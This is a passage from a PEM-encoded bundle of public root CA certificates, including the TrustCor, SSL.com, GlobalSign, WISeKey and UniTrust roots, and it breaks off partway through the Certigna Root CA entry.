RpFHmygk71dSTlxCnKr3Sewn6EAes6aJInKc9Q0ztFijMDvd1GpUk74aTfOTlPf8hAs/hCBcNANE xdqtvArBAs8e5ZTZ845b2EzwnexhF7sUMlQMAimTHpKG9n/v55IFDlndmQguLvqcAFLTxWYp5KeX RKQOKIETNcX2b2TmQcTVL8w0RSXPQQCWPUouwpaYT05KnJe32x+SMsj/D1Fu1uwJ -----END CERTIFICATE----- TrustCor ECA-1 ============== -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIJAISCLF8cYtBAMA0GCSqGSIb3DQEBCwUAMIGcMQswCQYDVQQGEwJQQTEP MA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5hbWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3Ig U3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5UcnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3Jp dHkxFzAVBgNVBAMMDlRydXN0Q29yIEVDQS0xMB4XDTE2MDIwNDEyMzIzM1oXDTI5MTIzMTE3Mjgw N1owgZwxCzAJBgNVBAYTAlBBMQ8wDQYDVQQIDAZQYW5hbWExFDASBgNVBAcMC1BhbmFtYSBDaXR5 MSQwIgYDVQQKDBtUcnVzdENvciBTeXN0ZW1zIFMuIGRlIFIuTC4xJzAlBgNVBAsMHlRydXN0Q29y IENlcnRpZmljYXRlIEF1dGhvcml0eTEXMBUGA1UEAwwOVHJ1c3RDb3IgRUNBLTEwggEiMA0GCSqG SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDPj+ARtZ+odnbb3w9U73NjKYKtR8aja+3+XzP4Q1HpGjOR MRegdMTUpwHmspI+ap3tDvl0mEDTPwOABoJA6LHip1GnHYMma6ve+heRK9jGrB6xnhkB1Zem6g23 xFUfJ3zSCNV2HykVh0A53ThFEXXQmqc04L/NyFIduUd+Dbi7xgz2c1cWWn5DkR9VOsZtRASqnKmc p0yJF4OuowReUoCLHhIlERnXDH19MURB6tuvsBzvgdAsxZohmz3tQjtQJvLsznFhBmIhVE5/wZ0+ fyCMgMsq2JdiyIMzkX2woloPV+g7zPIlstR8L+xNxqE6FXrntl019fZISjZFZtS6mFjBAgMBAAGj YzBhMB0GA1UdDgQWBBREnkj1zG1I1KBLf/5ZJC+Dl5mahjAfBgNVHSMEGDAWgBREnkj1zG1I1KBL f/5ZJC+Dl5mahjAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsF AAOCAQEABT41XBVwm8nHc2FvcivUwo/yQ10CzsSUuZQRg2dd4mdsdXa/uwyqNsatR5Nj3B5+1t4u /ukZMjgDfxT2AHMsWbEhBuH7rBiVDKP/mZb3Kyeb1STMHd3BOuCYRLDE5D53sXOpZCz2HAF8P11F hcCF5yWPldwX8zyfGm6wyuMdKulMY/okYWLW2n62HGz1Ah3UKt1VkOsqEUc8Ll50soIipX1TH0Xs J5F95yIW6MBoNtjG8U+ARDL54dHRHareqKucBK+tIA5kmE2la8BIWJZpTdwHjFGTot+fDz2LYLSC jaoITmJF4PkL0uDgPFveXHEnJcLmA4GLEFPjx1WitJ/X5g== -----END CERTIFICATE----- SSL.com Root Certification Authority RSA ======================================== -----BEGIN CERTIFICATE----- MIIF3TCCA8WgAwIBAgIIeyyb0xaAMpkwDQYJKoZIhvcNAQELBQAwfDELMAkGA1UEBhMCVVMxDjAM BgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24x MTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBSU0EwHhcNMTYw MjEyMTczOTM5WhcNNDEwMjEyMTczOTM5WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMx EDAOBgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NM LmNvbSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IFJTQTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAPkP3aMrfcvQKv7sZ4Wm5y4bunfh4/WvpOz6Sl2RxFdHaxh3a3by/ZPkPQ/C Fp4LZsNWlJ4Xg4XOVu/yFv0AYvUiCVToZRdOQbngT0aXqhvIuG5iXmmxX9sqAn78bMrzQdjt0Oj8 P2FI7bADFB0QDksZ4LtO7IZl/zbzXmcCC52GVWH9ejjt/uIZALdvoVBidXQ8oPrIJZK0bnoix/ge oeOy3ZExqysdBP+lSgQ36YWkMyv94tZVNHwZpEpox7Ko07fKoZOI68GXvIz5HdkihCR0xwQ9aqkp k8zruFvh/l8lqjRYyMEjVJ0bmBHDOJx+PYZspQ9AhnwC9FwCTyjLrnGfDzrIM/4RJTXq/LrFYD3Z fBjVsqnTdXgDciLKOsMf7yzlLqn6niy2UUb9rwPW6mBo6oUWNmuF6R7As93EJNyAKoFBbZQ+yODJ gUEAnl6/f8UImKIYLEJAs/lvOCdLToD0PYFH4Ih86hzOtXVcUS4cK38acijnALXRdMbX5J+tB5O2 UzU1/Dfkw/ZdFr4hc96SCvigY2q8lpJqPvi8ZVWb3vUNiSYE/CUapiVpy8JtynziWV+XrOvvLsi8 1xtZPCvM8hnIk2snYxnP/Okm+Mpxm3+T/jRnhE6Z6/yzeAkzcLpmpnbtG3PrGqUNxCITIJRWCk4s bE6x/c+cCbqiM+2HAgMBAAGjYzBhMB0GA1UdDgQWBBTdBAkHovV6fVJTEpKV7jiAJQ2mWTAPBgNV HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFN0ECQei9Xp9UlMSkpXuOIAlDaZZMA4GA1UdDwEB/wQE AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAIBgRlCn7Jp0cHh5wYfGVcpNxJK1ok1iOMq8bs3AD/CUr dIWQPXhq9LmLpZc7tRiRux6n+UBbkflVma8eEdBcHadm47GUBwwyOabqG7B52B2ccETjit3E+ZUf ijhDPwGFpUenPUayvOUiaPd7nNgsPgohyC0zrL/FgZkxdMF1ccW+sfAjRfSda/wZY52jvATGGAsl u1OJD7OAUN5F7kR/q5R4ZJjT9ijdh9hwZXT7DrkT66cPYakylszeu+1jTBi7qUD3oFRuIIhxdRjq erQ0cuAjJ3dctpDqhiVAq+8zD8ufgr6iIPv2tS0a5sKFsXQP+8hlAqRSAUfdSSLBv9jra6x+3uxj MxW3IwiPxg+NQVrdjsW5j+VFP3jbutIbQLH+cU0/4IGiul607BXgk90IH37hVZkLId6Tngr75qNJ vTYw/ud3sqB1l7UtgYgXZSD32pAAn8lSzDLKNXz1PQ/YK9f1JmzJBjSWFupwWRoyeXkLtoh/D1JI Pb9s2KJELtFOt3JY04kTlf5Eq/jXixtunLwsoFvVagCvXzfh1foQC5ichucmj87w7G6KVwuA406y wKBjYZC6VWg3dGq2ktufoYYitmUnDuy2n0Jg5GfCtdpBC8TTi2EbvPofkSvXRAdeuims2cXp71NI WuuA8ShYIc2wBlX7Jz9TkHCpBB5XJ7k= -----END CERTIFICATE----- SSL.com Root Certification Authority ECC ======================================== -----BEGIN CERTIFICATE----- MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMCVVMxDjAMBgNV BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xMTAv BgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEy MTgxNDAzWhcNNDEwMjEyMTgxNDAzWjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAO BgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuBBAAiA2IA BEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI7Z4INcgn64mMU1jrYor+ 8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPgCemB+vNH06NjMGEwHQYDVR0OBBYEFILR hXMw5zUE044CkvvlpNHEIejNMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTT jgKS++Wk0cQh6M0wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCW e+0F+S8Tkdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+gA0z 5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl -----END CERTIFICATE----- SSL.com EV Root Certification Authority RSA R2 ============================================== -----BEGIN CERTIFICATE----- MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNVBAYTAlVTMQ4w DAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9u MTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy MB4XDTE3MDUzMTE4MTQzN1oXDTQyMDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQI DAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYD VQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMIICIjAN BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvqM0fNTPl9fb69LT3w23jh hqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssufOePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7w cXHswxzpY6IXFJ3vG2fThVUCAtZJycxa4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTO Zw+oz12WGQvE43LrrdF9HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+ B6KjBSYRaZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcAb9Zh CBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQGp8hLH94t2S42Oim 9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQVPWKchjgGAGYS5Fl2WlPAApiiECto RHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMOpgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+Slm JuwgUHfbSguPvuUCYHBBXtSuUDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48 +qvWBkofZ6aYMBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa49QaAJadz20Zp qJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBWs47LCp1Jjr+kxJG7ZhcFUZh1 ++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nx Y/hoLVUE0fKNsKTPvDxeH3jnpaAgcLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2G guDKBAdRUNf/ktUM79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDz OFSz/bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXtll9ldDz7 CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEmKf7GUmG6sXP/wwyc5Wxq lD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKKQbNmC1r7fSOl8hqw/96bg5Qu0T/fkreR rwU7ZcegbLHNYhLDkBvjJc40vG93drEQw/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1 hlMYegouCRw2n5H9gooiS9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX 9hwJ1C07mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w== -----END CERTIFICATE----- SSL.com EV Root Certification Authority ECC =========================================== -----BEGIN CERTIFICATE----- MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMCVVMxDjAMBgNV BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xNDAy BgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYw MjEyMTgxNTIzWhcNNDEwMjEyMTgxNTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMx EDAOBgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NM LmNvbSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB BAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMAVIbc/R/fALhBYlzccBYy 3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1KthkuWnBaBu2+8KGwytAJKaNjMGEwHQYDVR0O BBYEFFvKXuXe0oGqzagtZFG22XKbl+ZPMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe 5d7SgarNqC1kUbbZcpuX5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJ N+vp1RPZytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZgh5Mm m7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg== -----END CERTIFICATE----- GlobalSign Root CA - R6 ======================= -----BEGIN CERTIFICATE----- MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEgMB4GA1UECxMX R2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds b2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQxMjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9i YWxTaWduIFJvb3QgQ0EgLSBSNjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFs U2lnbjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQss grRIxutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1kZguSgMpE 3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxDaNc9PIrFsmbVkJq3MQbF vuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJwLnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqM PKq0pPbzlUoSB239jLKJz9CgYXfIWHSw1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+ azayOeSsJDa38O+2HBNXk7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05O WgtH8wY2SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/hbguy CLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4nWUx2OVvq+aWh2IMP 0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpYrZxCRXluDocZXFSxZba/jJvcE+kN b7gu3GduyYsRtYQUigAZcIN5kZeR1BonvzceMgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQE AwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNV HSMEGDAWgBSubAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGtIxg93eFyRJa0 lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr6155wsTLxDKZmOMNOsIeDjHfrY BzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLjvUYAGm0CuiVdjaExUd1URhxN25mW7xocBFym Fe944Hn+Xds+qkxV/ZoVqW/hpvvfcDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr 3TsTjxKM4kEaSHpzoHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB1 0jZpnOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfspA9MRf/T uTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+vJJUEeKgDu+6B5dpffItK oZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+t JDfLRVpOoERIyNiwmcUVhAn21klJwGW45hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA= -----END CERTIFICATE----- OISTE WISeKey Global Root GC CA =============================== -----BEGIN CERTIFICATE----- MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQswCQYDVQQGEwJD SDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEo MCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRa Fw00MjA1MDkwOTU4MzNaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQL ExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh bCBSb290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4nieUqjFqdr VCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4Wp2OQ0jnUsYd4XxiWD1Ab NTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd BgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7TrYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0E AwMDaAAwZQIwJsdpW9zV57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtk AjEA2zQgMgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9 -----END CERTIFICATE----- UCA Global G2 Root ================== -----BEGIN CERTIFICATE----- MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9MQswCQYDVQQG EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBHbG9iYWwgRzIgUm9vdDAeFw0x NjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0xCzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlU cnVzdDEbMBkGA1UEAwwSVUNBIEdsb2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEAxeYrb3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmT oni9kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzmVHqUwCoV 8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/RVogvGjqNO7uCEeBHANBS h6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDcC/Vkw85DvG1xudLeJ1uK6NjGruFZfc8o LTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIjtm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/ R+zvWr9LesGtOxdQXGLYD0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBe KW4bHAyvj5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6DlNaBa 4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6iIis7nCs+dwp4wwc OxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznPO6Q0ibd5Ei9Hxeepl2n8pndntd97 8XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O BBYEFIHEjMz15DD/pQwIX4wVZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo 5sOASD0Ee/ojL3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5 1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl1qnN3e92mI0A Ds0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oUb3n09tDh05S60FdRvScFDcH9 yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LVPtateJLbXDzz2K36uGt/xDYotgIVilQsnLAX c47QN6MUPJiVAAwpBVueSUmxX8fjy88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHo jhJi6IjMtX9Gl8CbEGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZk bxqgDMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI+Vg7RE+x ygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGyYiGqhkCyLmTTX8jjfhFn RR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bXUB+K+wb1whnw0A== -----END CERTIFICATE----- UCA Extended Validation Root ============================ -----BEGIN CERTIFICATE----- MIIFWjCCA0KgAwIBAgIQT9Irj/VkyDOeTzRYZiNwYDANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQG EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9u IFJvb3QwHhcNMTUwMzEzMDAwMDAwWhcNMzgxMjMxMDAwMDAwWjBHMQswCQYDVQQGEwJDTjERMA8G A1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwggIi MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCpCQcoEwKwmeBkqh5DFnpzsZGgdT6o+uM4AHrs iWogD4vFsJszA1qGxliG1cGFu0/GnEBNyr7uaZa4rYEwmnySBesFK5pI0Lh2PpbIILvSsPGP2KxF Rv+qZ2C0d35qHzwaUnoEPQc8hQ2E0B92CvdqFN9y4zR8V05WAT558aopO2z6+I9tTcg1367r3CTu eUWnhbYFiN6IXSV8l2RnCdm/WhUFhvMJHuxYMjMR83dksHYf5BA1FxvyDrFspCqjc/wJHx4yGVMR 59mzLC52LqGj3n5qiAno8geK+LLNEOfic0CTuwjRP+H8C5SzJe98ptfRr5//lpr1kXuYC3fUfugH 0mK1lTnj8/FtDw5lhIpjVMWAtuCeS31HJqcBCF3RiJ7XwzJE+oJKCmhUfzhTA8ykADNkUVkLo4KR el7sFsLzKuZi2irbWWIQJUoqgQtHB0MGcIfS+pMRKXpITeuUx3BNr2fVUbGAIAEBtHoIppB/TuDv B0GHr2qlXov7z1CymlSvw4m6WC31MJixNnI5fkkE/SmnTHnkBVfblLkWU41Gsx2VYVdWf6/wFlth WG82UBEL2KwrlRYaDh8IzTY0ZRBiZtWAXxQgXy0MoHgKaNYs1+lvK9JKBZP8nm9rZ/+I8U6laUpS NwXqxhaN0sSZ0YIrO7o1dfdRUVjzyAfd5LQDfwIDAQABo0IwQDAdBgNVHQ4EFgQU2XQ65DA9DfcS 3H5aBZ8eNJr34RQwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQEL BQADggIBADaNl8xCFWQpN5smLNb7rhVpLGsaGvdftvkHTFnq88nIua7Mui563MD1sC3AO6+fcAUR ap8lTwEpcOPlDOHqWnzcSbvBHiqB9RZLcpHIojG5qtr8nR/zXUACE/xOHAbKsxSQVBcZEhrxH9cM aVr2cXj0lH2RC47skFSOvG+hTKv8dGT9cZr4QQehzZHkPJrgmzI5c6sq1WnIeJEmMX3ixzDx/BR4 dxIOE/TdFpS/S2d7cFOFyrC78zhNLJA5wA3CXWvp4uXViI3WLL+rG761KIcSF3Ru/H38j9CHJrAb +7lsq+KePRXBOy5nAliRn+/4Qh8st2j1da3Ptfb/EX3C8CSlrdP6oDyp+l3cpaDvRKS+1ujl5BOW F3sGPjLtx7dCvHaj2GU4Kzg1USEODm8uNBNA4StnDG1KQTAYI1oyVZnJF+A83vbsea0rWBmirSwi GpWOvpaQXUJXxPkUAzUrHC1RVwinOt4/5Mi0A3PCwSaAuwtCH60NryZy2sy+s6ODWA2CxR9GUeOc GMyNm43sSet1UNWMKFnKdDTajAshqx7qG+XH/RU+wBeq+yNuJkbL+vmxcmtpzyKEC2IPrNkZAJSi djzULZrtBJ4tBmIQN1IchXIbJ+XMxjHsN+xjWZsLHXbMfjKaiJUINlK73nZfdklJrX+9ZSCyycEr dhh2n1ax -----END CERTIFICATE----- Certigna Root CA ================ -----BEGIN CERTIFICATE----- MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UE BhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAwMiA0ODE0NjMwODEwMDAzNjEZ MBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0xMzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjda MFoxCzAJBgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYz MDgxMDAwMzYxGTAXBgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sOty3tRQgX stmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9MCiBtnyN6tMbaLOQdLNyz KNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPuI9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8 JXrJhFwLrN1CTivngqIkicuQstDuI7pmTLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16 XdG+RCYyKfHx9WzMfgIhC59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq 4NYKpkDfePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3YzIoej wpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWTCo/1VTp2lc5ZmIoJ lXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1kJWumIWmbat10TWuXekG9qxf5kBdI jzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp/ /TBt2dzhauH8XwIDAQABo4IBGjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw HQYDVR0OBBYEFBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of 1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczovL3d3d3cuY2Vy 